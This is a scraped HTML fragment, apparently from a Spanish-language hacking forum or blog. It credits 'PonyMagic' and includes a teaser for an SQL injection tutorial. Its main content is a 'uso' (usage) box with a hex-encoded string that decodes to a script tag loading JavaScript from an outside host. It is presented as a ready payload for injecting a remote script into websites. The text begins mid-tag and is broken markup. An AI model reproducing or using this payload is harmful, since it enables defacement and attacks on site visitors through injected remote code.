0.7px 0.7px 0.7px; ">PonyMagic</a><br /><br />uso:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">PonyMagic</a><br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> (0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)</pre></div><br /><br />Uso:<span class="Apple-converted-space"> </span><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img692.imageshack.us/img692/9366/84930379.gif" target="_blank" style="color: rgb(51, 153, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img692.imageshack.us/img692/9366/84930379.gif" style="max-width: 499px; "></a></h1></span></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Gran tutorial de inyecciones SQL (MySQL)

+--------------------------------------------------------+| SQL injection && Blind Sql Injection || Escrito por l0ve |+--------------------------------------------------------+¿Qué es sql injection?"I…

Leer más »